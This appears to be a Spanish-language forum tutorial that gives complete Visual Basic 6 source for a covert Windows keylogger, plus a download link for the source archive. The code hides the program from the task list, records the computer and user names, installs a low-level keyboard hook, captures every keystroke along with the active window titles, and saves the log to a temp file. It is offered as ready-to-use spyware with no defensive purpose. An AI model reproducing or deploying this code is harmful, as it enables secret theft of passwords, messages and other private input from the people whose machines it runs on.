1-Creamos un Textbox llamado Loger, con la propiedad multilinea a true y Scrollbars 3-both
2-Agregamos un modulo
Código del form1
Private Sub Form_Load()
App.TaskVisible = False
'Me.Visible = False'
If App.PrevInstance Then: End
Loger = "computadora: " & Environ("computername") & vbCrLf & "Usuario: " & Environ("username") & vbCrLf & "Fecha: " & Now & vbCrLf & vbCrLf
StarKeyLogger
End Sub
Private Sub Form_Unload(Cancel As Integer)
Open Environ("temp") & "\log.txt" For Output As #1
Print #1, Loger
Close #1
End Sub
Ahora el codigo del modulo:
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Const WH_KEYBOARD_LL As Long = 13
Dim SumaAscii As String
Private Hook As Long
Dim handle As Long
Dim titulo As String
Dim ventana As String
Public Function StarKeyLogger()
SumaAscii = ""
Hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf TeclaPresionadas, App.hInstance, 0)
End Function
Public Function TeclaPresionadas(ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next
Dim Largo As Integer
titulo = ""
titulo = Space(256)
handle = GetForegroundWindow()
GetWindowText handle, titulo, 256
If titulo <> ventana Then
Form1.Loger = Form1.Loger & vbCrLf & vbCrLf & vbCrLf & "================================================================================" & vbCrLf & titulo
Form1.Loger = Form1.Loger & vbCrLf & "================================================================================" & vbCrLf & vbCrLf
ventana = titulo
End If
If GetAsyncKeyState(vbKeyBack) Then
Largo = Len(Form1.Loger)
Form1.Loger = Mid(Form1.Loger, 1, Largo - 1)
ElseIf GetAsyncKeyState(vbKeyReturn) Then
Form1.Loger = Form1.Loger & "[[PRESIONO ENTER]]" & vbCrLf
ElseIf GetAsyncKeyState(vbKeySpace) Then
Form1.Loger = Form1.Loger & " "
ElseIf GetAsyncKeyState(vbKeyDelete) Then
Largo = Len(Form1.Loger)
Form1.Loger = Mid(Form1.Loger, 1, Largo - 1)
ElseIf GetAsyncKeyState(vbKeyShift) Then
If GetAsyncKeyState(190) Then
Form1.Loger = Form1.Loger & ":"
ElseIf GetAsyncKeyState(189) Then
Form1.Loger = Form1.Loger & "_"
ElseIf GetAsyncKeyState(188) Then
Form1.Loger = Form1.Loger & ";"
ElseIf GetAsyncKeyState(187) Then
Form1.Loger = Form1.Loger & "*"
ElseIf GetAsyncKeyState(27) Then
Form1.Loger = Form1.Loger & ">"
ElseIf GetAsyncKeyState(112) Then
Form1.Loger = Form1.Loger & "ª"
ElseIf GetAsyncKeyState(219) Then
Form1.Loger = Form1.Loger & "?"
ElseIf GetAsyncKeyState(221) Then
Form1.Loger = Form1.Loger & "¿"
Else
Numeros (1)
Mayuminu (True)
End If
ElseIf GetAsyncKeyState(164) Then
Form1.Loger = Form1.Loger & "ñ"
ElseIf GetAsyncKeyState(165) Then
Form1.Loger = Form1.Loger & "Ñ"
ElseIf GetAsyncKeyState(190) Then
Form1.Loger = Form1.Loger & "."
ElseIf GetAsyncKeyState(189) Then
Form1.Loger = Form1.Loger & "-"
ElseIf GetAsyncKeyState(188) Then
Form1.Loger = Form1.Loger & ","
ElseIf GetAsyncKeyState(187) Then
Form1.Loger = Form1.Loger & "+"
ElseIf GetAsyncKeyState(27) Then
Form1.Loger = Form1.Loger & "<"
ElseIf GetAsyncKeyState(112) Then
Form1.Loger = Form1.Loger & "º"
ElseIf GetAsyncKeyState(219) Then
Form1.Loger = Form1.Loger & "'"
ElseIf GetAsyncKeyState(221) Then
Form1.Loger = Form1.Loger & "¡"
ElseIf GetAsyncKeyState(17) Then
If GetAsyncKeyState(191) Then
Form1.Loger = Form1.Loger & "}"
ElseIf GetAsyncKeyState(186) Then
Form1.Loger = Form1.Loger & "["
ElseIf GetAsyncKeyState(187) Then
Form1.Loger = Form1.Loger & "]"
ElseIf GetAsyncKeyState(222) Then
Form1.Loger = Form1.Loger & "{"
End If
Numeros (2)
ElseIf GetAsyncKeyState(18) Then
Numeros2 (False)
Else
Form1.Loger = Form1.Loger & Chr(Val(SumaAscii))
SumaAscii = ""
Numeros2 (True)
Numeros (0)
Mayuminu (False)
End If
End Function
Public Function Mayuminu(zx As Boolean)
Dim x As Integer
For x = 65 To 90
If GetAsyncKeyState(x) Then
If GetKeyState(vbKeyCapital) Then
If zx Then
Form1.Loger = Form1.Loger & Chr(x + 32)
Exit For
Else
Form1.Loger = Form1.Loger & Chr(x)
Exit For
End If
Else
If zx Then
Form1.Loger = Form1.Loger & Chr(x)
Exit For
Else
Form1.Loger = Form1.Loger & Chr(x + 32)
Exit For
End If
End If
End If
Next x
If GetAsyncKeyState(192) Then
If GetKeyState(vbKeyCapital) Then
If zx Then
Form1.Loger = Form1.Loger & "ñ"
Else
Form1.Loger = Form1.Loger & "Ñ"
End If
Else
If zx Then
Form1.Loger = Form1.Loger & "Ñ"
Else
Form1.Loger = Form1.Loger & "ñ"
End If
End If
End If
End Function
Public Function Numeros(zx As Integer)
Dim x As Integer
For x = 48 To 57
If GetAsyncKeyState(x) Then
If zx = 1 Then
Select Case x
Case 48:
Form1.Loger = Form1.Loger & "!"
Case 49:
Form1.Loger = Form1.Loger & Chr(34)
Case 50:
Form1.Loger = Form1.Loger & "·"
Case 51:
Form1.Loger = Form1.Loger & "$"
Case 52:
Form1.Loger = Form1.Loger & "%"
Case 53:
Form1.Loger = Form1.Loger & "&"
Case 54:
Form1.Loger = Form1.Loger & "/"
Case 55:
Form1.Loger = Form1.Loger & "("
Case 56:
Form1.Loger = Form1.Loger & ")"
Case 57:
Form1.Loger = Form1.Loger & "="
End Select
ElseIf zx = 2 Then
Select Case x
Case 48:
Form1.Loger = Form1.Loger & "\"
Case 49:
Form1.Loger = Form1.Loger & "|"
Case 50:
Form1.Loger = Form1.Loger & "@"
Case 51:
Form1.Loger = Form1.Loger & "#"
Case 52:
Form1.Loger = Form1.Loger & "~"
Case 53:
Form1.Loger = Form1.Loger & "€"
Case 54:
Form1.Loger = Form1.Loger & "¬"
End Select
Else
Form1.Loger = Form1.Loger & Chr(x)
End If
Exit For
End If
Next x
End Function
Public Function Numeros2(zx As Boolean)
If GetKeyState(vbKeyNumlock) Then
If zx Then
If GetAsyncKeyState(96) Then
Form1.Loger = Form1.Loger & "0"
ElseIf GetAsyncKeyState(97) Then
Form1.Loger = Form1.Loger & "1"
ElseIf GetAsyncKeyState(98) Then
Form1.Loger = Form1.Loger & "2"
ElseIf GetAsyncKeyState(99) Then
Form1.Loger = Form1.Loger & "3"
ElseIf GetAsyncKeyState(100) Then
Form1.Loger = Form1.Loger & "4"
ElseIf GetAsyncKeyState(101) Then
Form1.Loger = Form1.Loger & "5"
ElseIf GetAsyncKeyState(102) Then
Form1.Loger = Form1.Loger & "6"
ElseIf GetAsyncKeyState(103) Then
Form1.Loger = Form1.Loger & "7"
ElseIf GetAsyncKeyState(104) Then
Form1.Loger = Form1.Loger & "8"
ElseIf GetAsyncKeyState(105) Then
Form1.Loger = Form1.Loger & "9"
ElseIf GetAsyncKeyState(106) Then
Form1.Loger = Form1.Loger & "*"
ElseIf GetAsyncKeyState(107) Then
Form1.Loger = Form1.Loger & "+"
ElseIf GetAsyncKeyState(108) Then
Form1.Loger = Form1.Loger & "[[PRESIONO ENTER]]" & vbCrLf
ElseIf GetAsyncKeyState(109) Then
Form1.Loger = Form1.Loger & "-"
ElseIf GetAsyncKeyState(110) Then
Form1.Loger = Form1.Loger & "."
ElseIf GetAsyncKeyState(111) Then
Form1.Loger = Form1.Loger & "/"
End If
Else
If GetAsyncKeyState(96) Then
SumaAscii = SumaAscii & "0"
ElseIf GetAsyncKeyState(97) Then
SumaAscii = SumaAscii & "1"
ElseIf GetAsyncKeyState(98) Then
SumaAscii = SumaAscii & "2"
ElseIf GetAsyncKeyState(99) Then
SumaAscii = SumaAscii & "3"
ElseIf GetAsyncKeyState(100) Then
SumaAscii = SumaAscii & "4"
ElseIf GetAsyncKeyState(101) Then
SumaAscii = SumaAscii & "5"
ElseIf GetAsyncKeyState(102) Then
SumaAscii = SumaAscii & "6"
ElseIf GetAsyncKeyState(103) Then
SumaAscii = SumaAscii & "7"
ElseIf GetAsyncKeyState(104) Then
SumaAscii = SumaAscii & "8"
ElseIf GetAsyncKeyState(105) Then
SumaAscii = SumaAscii & "9"
End If
End If
End If
End Function
Link de descarga del codigo Fuente:
http://www.mediafire.com/download/dnqv5qij7acnntj/Archivos+Del+13.rar
Saludos Flamer